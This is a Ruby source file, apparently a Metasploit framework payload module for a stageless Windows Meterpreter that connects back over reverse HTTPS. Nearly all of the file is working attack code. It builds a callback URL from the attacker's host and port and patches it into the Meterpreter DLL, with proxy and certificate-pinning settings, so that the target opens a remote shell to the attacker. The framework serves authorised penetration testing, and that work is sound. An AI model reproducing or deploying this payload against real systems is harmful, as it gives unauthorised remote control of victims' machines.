OJ
7b4161bdb4
This code contains duplication from HD's PR. Once his has been landed this code can be fixed up a bit so that duplication is removed.
128 lines
4.0 KiB
Ruby
128 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_https'
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require 'msf/core/payload/windows/stageless_meterpreter'
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require 'msf/base/sessions/meterpreter_x86_win'
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require 'msf/base/sessions/meterpreter_options'
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# TODO: put this in when HD's PR has been landed.
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#require 'rex/parser/x509_certificate'
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module Metasploit3
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CachedSize = :dynamic
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include Msf::Payload::Windows::StagelessMeterpreter
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include Msf::Sessions::MeterpreterOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline',
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'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
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'Author' => [ 'OJ Reeves' ],
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::ReverseHttps,
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'Session' => Msf::Sessions::Meterpreter_x86_Win
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))
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register_options([
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OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
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], self.class)
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end
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def generate
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checksum = generate_uri_checksum(Handler::ReverseHttp::UriChecksum::URI_CHECKSUM_CONN)
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rand = Rex::Text.rand_text_alphanumeric(16)
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url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
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generate_stageless_meterpreter(url) do |dll|
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# TODO: figure out this bit
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# patch the target ID into the URI if specified
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#if opts[:target_id]
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# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
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# if i
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# t = opts[:target_id].to_s
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# raise "Target ID must be less than 5 bytes" if t.length > 4
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# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
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# print_status("Patching Target ID #{t} into DLL")
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# dll[i, u.length] = u
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# end
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#end
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Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll,
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:url => url,
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:ssl => true,
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:ssl_cert_hash => get_ssl_cert_hash,
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:expiration => datastore['SessionExpirationTimeout'].to_i,
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:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
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:ua => datastore['MeterpreterUserAgent'],
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:proxyhost => datastore['PROXYHOST'],
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:proxyport => datastore['PROXYPORT'],
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:proxy_type => datastore['PROXY_TYPE'],
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:proxy_username => datastore['PROXY_USERNAME'],
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:proxy_password => datastore['PROXY_PASSWORD']
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end
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end
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# TODO: remove all that is below this when HD's PR has been landed
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def get_ssl_cert_hash
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unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
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return nil
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end
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unless datastore['HandlerSSLCert']
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raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
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end
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# TODO: fix this up when HD's PR has landed.
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#hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
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hcert = parse_pem_file(datastore['HandlerSSLCert'])
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unless hcert and hcert[0] and hcert[1]
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raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
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end
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hash = Rex::Text.sha1_raw(hcert[1].to_der)
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print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
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hash
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end
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def parse_pem(ssl_cert)
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cert = nil
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key = nil
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chain = nil
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certs = []
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ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
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if pem =~ /PRIVATE KEY/
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key = OpenSSL::PKey::RSA.new(pem)
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elsif pem =~ /CERTIFICATE/
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certs << OpenSSL::X509::Certificate.new(pem)
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end
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end
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cert = certs.shift
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if certs.length > 0
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chain = certs
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end
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[key, cert, chain]
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end
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def parse_pem_file(ssl_cert_file)
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data = ''
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::File.open(ssl_cert_file, 'rb') do |fd|
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data << fd.read(fd.stat.size)
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end
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parse_pem(data)
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end
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end
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